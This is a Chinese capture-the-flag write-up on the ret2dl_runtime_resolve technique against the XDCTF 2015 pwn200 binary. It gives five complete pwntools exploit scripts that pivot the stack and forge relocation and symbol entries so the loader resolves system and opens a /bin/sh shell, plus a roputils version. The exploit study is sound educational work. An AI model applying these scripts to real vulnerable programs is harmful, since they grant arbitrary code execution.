dl_runtime_resolve利用

利用_dl_runtime_resolve来解析特定的函数

这里以这里以XDCTF 2015的pwn200为例
基础前置知识请看这篇文章_dl_runtime_resolve

利用的步骤主要有5步

  1. 控制程序的栈转移到我们可以控制的地址
  2. 控制程序调用_dl_runtime_resolve函数 ，控制reloc_offset的大小，使reloc项落在我们控制的栈上
  3. 伪造reloc项中的内容，使sym落在我们的栈中
  4. 伪造sym的内容，使st_name落在我们的栈上
  5. 伪造st_name为任意库函数，比如system

首先控制程序的栈
查看一下防护机制：

这里写图片描述

只开启了NX ，padding长度很容易得到为112
exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import*

p=process('./bof')
elf = ELF('./bof')
rop=ROP('./bof')

offset=112
p.recv()
stack_size = 0x800
bss_addr=elf.bss()
base_stage=bss_addr + stack_size

rop.raw('a'*offset)
rop.read(0,base_stage,100)
rop.migrate(base_stage)
p.send(rop.chain())

rop=ROP('./bof')
sh="/bin/sh"
rop.write(1,base_stage+80,len(sh))
rop.raw('a'*(80-len(rop.chain())))
rop.raw(sh)
rop.raw('a'*(100-len(rop.chain())))
p.sendline(rop.chain())
p.interactive()

结果：


这里写图片描述

控制reloc项落在栈上
exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import*

p=process('./bof')
elf=ELF('./bof')
rop=ROP('./bof')
bss=elf.bss()
stack_size=0x800
base_stage=bss+stack_size
plt0=elf.get_section_by_name('.plt').header.sh_addr
rel_plt=elf.get_section_by_name('.rel.plt').header.sh_addr

index_offset=base_stage + 24 - rel_plt
write_got=elf.got['write']
r_info = 0x607

rop.raw('a'*112)
rop.read(0,base_stage,100)
rop.migrate(base_stage)
p.recv()
p.sendline(rop.chain())

rop=ROP('./bof')
sh="/bin/sh"    

rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage+80)
rop.raw(len(sh))
rop.raw(write_got)
rop.raw(r_info)
rop.raw('a'*(80-len(rop.chain())))
rop.raw(sh)
rop.raw('a'*(100-len(rop.chain())))

p.sendline(rop.chain())
p.interactive()

结果


这里写图片描述

伪造reloc项的内容，使sym落在栈上
exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import*
context.log_level="debug"
p=process('./bof')
elf=ELF('./bof')
rop=ROP('./bof')

bss=elf.bss()
stack_size=0x800
base_stage=bss+stack_size

rop.raw('a'*112)
rop.read(0,base_stage,100)
rop.migrate(base_stage)
p.recv()
p.sendline(rop.chain())

plt0=elf.get_section_by_name('.plt').header.sh_addr
rel_plt=elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym=elf.get_section_by_name('.dynsym').header.sh_addr
dynstr=elf.get_section_by_name('.dynstr').header.sh_addr

fake_sym=base_stage+32
align=0x10-((fake_sym - dynsym)&0xf) #这个主要是为了sym段的对齐 
fake_sym=fake_sym+align
index_dynsym=(fake_sym - dynsym)/0x10
write_sym = flat([0x4c,0,0,0x12])
index_offset=base_stage + 24 - rel_plt
write_got=elf.got['write']
r_info=0x607
fake_relo=flat([write_got,r_info])
sh="/bin/sh"

rop=ROP('./bof')
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage+80)
rop.raw(len(sh))
rop.raw(fake_relo)
rop.raw('a'*align)
rop.raw(fake_sym)
rop.raw('a'*(80-len(rop.chain())))
rop.raw(sh)
rop.raw('a'*(100-len(rop.chain())))

p.sendline(rop.chain())
p.interactive()

结果


这里写图片描述

伪造sym项，使st_name落在栈上
exp

#!/usr/bin/env python
# coding=utf-8
from pwn import*
context.log_level="debug"
p=process('./bof')
elf=ELF('./bof')
rop=ROP('./bof')

bss=elf.bss()
stack_size=0x800
base_stage=bss+stack_size
rop.raw('a'*112)
rop.read(0,base_stage,100)
rop.migrate(base_stage)
p.recv()
p.sendline(rop.chain())

plt0=elf.get_section_by_name('.plt').header.sh_addr
rel_plt=elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym=elf.get_section_by_name('.dynsym').header.sh_addr
dynstr=elf.get_section_by_name('.dynstr').header.sh_addr

fake_sym=base_stage+32
align=0x10-((fake_sym - dynsym)&0xf)
print "align is [%s]"%hex(align)
fake_sym=fake_sym+align
index_dynsym=(fake_sym - dynsym)/0x10
st_name=fake_sym+0x10 - dynstr
write_sym = flat([st_name,0,0,0x12])
index_offset=base_stage + 24 - rel_plt
write_got=elf.got['write']
r_info=0x607
fake_relo=flat([write_got,r_info])
sh="/bin/sh"

rop=ROP('./bof')
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb')
rop.raw(1)
rop.raw(base_stage+80)
rop.raw(len(sh))
rop.raw(fake_relo)
rop.raw('a'*align)
rop.raw(fake_sym)
rop.raw('a'*(80-len(rop.chain())))
rop.raw(sh)
rop.raw('a'*(100-len(rop.chain())))

p.sendline(rop.chain())
p.interactive()

伪造st_name为system,同时调用system函数
exp

#!/usr/bin/env python
# coding=utf-8
from pwn import*
context.log_level="debug"
p=process('./bof')
elf=ELF('./bof')
rop=ROP('./bof')

bss=elf.bss()
base_stage=bss+0x800
rop.raw('a'*112)
rop.read(0,base_stage,100)
rop.migrate(base_stage)
p.recv()
p.sendline(rop.chain())

plt0=elf.get_section_by_name('.plt').header.sh_addr
rel_plt=elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym=elf.get_section_by_name('.dynsym').header.sh_addr
dynstr=elf.get_section_by_name('.dynstr').header.sh_addr

fake_sym_add = base_stage + 32
align = 0x10 - ((fake_sym_add - dynsym)&0xf)#queseion how to calcu this 
fake_sym_add = fake_sym_add + align
index_dynsym = (fake_sym_add -dynsym)/0x10
st_name = fake_sym_add + 0x10 - dynstr
fake_write_sym = flat([st_name,0,0,0x12])
index_offset = base_stage + 24- rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7
fake_write_relo = flat([write_got,r_info])

rop=ROP('./bof')
rop.raw(plt0)
rop.raw(index_offset)
rop.raw('bbbb')
rop.raw(base_stage + 82)
rop.raw('bbbb')
rop.raw('bbbb')
rop.raw(fake_write_relo)
rop.raw('a'*align)
rop.raw(fake_write_sym)
rop.raw("system\x00")
rop.raw('a'*(80-len(rop.chain())))
rop.raw("/bin/sh\x00")
rop.raw('a'*(100- len(rop.chain())))

print rop.dump()
p.sendline(rop.chain())
p.interactive()

结果


这里写图片描述

主要payload的构成

payload1 = padding + p32(read_plt) + p32(ppp_ret) + p32(0) + p32(base_stage) + p32(100)
payload1 += p32(pop_ebp) + p32(base_stage) + p32(leave_ret)
payload2 = 'bbbb' + p32(PLT0) + p32(reloc_offset) + p32('aaaa') + p32(base_stage+80) + p32('aaaa') + p32('aaaa')
payload2 += p32(fake_reloc) + 'a' * align + p32(fake_sym) + "system\x00" + 'a'(80 - len(payload2)) + "/bin/sh\x00"
payload2 += 'a'(100 - len(payload2))

接下来放用roputils做这道题的脚本
exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import*
from roputils import*

p=process('./bof')
context.log_level="debug"
rop=ROP('./bof')
offset=112
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read',0,bss_base,100)
buf += rop.dl_resolve_call(bss_base+20,bss_base)
p.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20,buf)
buf += rop.dl_resolve_data(bss_base+20,'system')
buf += rop.fill(100,buf)
p.send(buf)
p.interactive()

roputils库可以在github : roputils上下载

最后编辑于 ：
©著作权归作者所有,转载或内容合作请联系作者
  • 人面猴
    序言：七十年代末，一起剥皮案震惊了整个滨河市，随后出现的几起案子，更是在滨河造成了极大的恐慌，老刑警刘岩，带你破解...
    沈念sama阅读 215,723评论 6赞 498
  • 死咒
    序言：滨河连续发生了三起死亡事件，死亡现场离奇诡异，居然都是意外死亡，警方通过查阅死者的电脑和手机，发现死者居然都...
    沈念sama阅读 92,003评论 3赞 391
  • 救了他两次的神仙让他今天三更去死
    文/潘晓璐 我一进店门，熙熙楼的掌柜王于贵愁眉苦脸地迎上来，“玉大人，你说我怎么就摊上这事。” “怎么了？”我有些...
    开封第一讲书人阅读 161,512评论 0赞 351
  • 道士缉凶录：失踪的卖姜人
    文/不坏的土叔 我叫张陵，是天一观的道长。 经常有香客问我，道长，这世上最难降的妖魔是什么？ 我笑而不...
    开封第一讲书人阅读 57,825评论 1赞 290
  • 港岛之恋（遗憾婚礼）
    正文 为了忘掉前任，我火速办了婚礼，结果婚礼上，老公的妹妹穿的比我还像新娘。我一直安慰自己，他们只是感情好，可当我...
    茶点故事阅读 66,874评论 6赞 388
  • 恶毒庶女顶嫁案：这布局不是一般人想出来的
    文/花漫 我一把揭开白布。 她就那样静静地躺着，像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上，一...
    开封第一讲书人阅读 50,841评论 1赞 295
  • 城市分裂传说
    那天，我揣着相机与录音，去河边找鬼。 笑死，一个胖子当着我的面吹牛，可吹牛的内容都是我干的。 我是一名探鬼主播，决...
    沈念sama阅读 39,812评论 3赞 416
  • 双鸳鸯连环套：你想象不到人心有多黑
    文/苍兰香墨 我猛地睁开眼，长吁一口气：“原来是场噩梦啊……” “哼！你这毒妇竟也来了？” 一声冷哼从身侧响起，我...
    开封第一讲书人阅读 38,582评论 0赞 271
  • 万荣杀人案实录
    序言：老挝万荣一对情侣失踪，失踪者是张志新（化名）和其女友刘颖，没想到半个月后，有当地人在树林里发现了一具尸体，经...
    沈念sama阅读 45,033评论 1赞 308
  • 护林员之死
    正文 独居荒郊野岭守林人离奇死亡，尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,309评论 2赞 331
  • 白月光启示录
    正文 我和宋清朗相恋三年，在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,450评论 1赞 345
  • 活死人
    序言：一个原本活蹦乱跳的男人离奇死亡，死状恐怖，灵堂内的尸体忽然破棺而出，到底是诈尸还是另有隐情，我是刑警宁泽，带...
    沈念sama阅读 35,158评论 5赞 341
  • 日本核电站爆炸内幕
    正文 年R本政府宣布，位于F岛的核电站，受9级特大地震影响，放射性物质发生泄漏。R本人自食恶果不足惜，却给世界环境...
    茶点故事阅读 40,789评论 3赞 325
  • 男人毒药：我在死后第九天来索命
    文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹，春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,409评论 0赞 21
  • 一桩弑父案，背后竟有这般阴谋
    文/苍兰香墨 我抬头看了看天上的太阳。三九已至，却和暖如春，着一层夹袄步出监牢的瞬间，已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,609评论 1赞 268
  • 情欲美人皮
    我被黑心中介骗来泰国打工， 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留，地道东北人。 一个月前我还...
    沈念sama阅读 47,440评论 2赞 368
  • 代替公主和亲
    正文 我出身青楼，却偏偏与公主长得像，于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子，可洞房花烛夜当晚...
    茶点故事阅读 44,357评论 2赞 352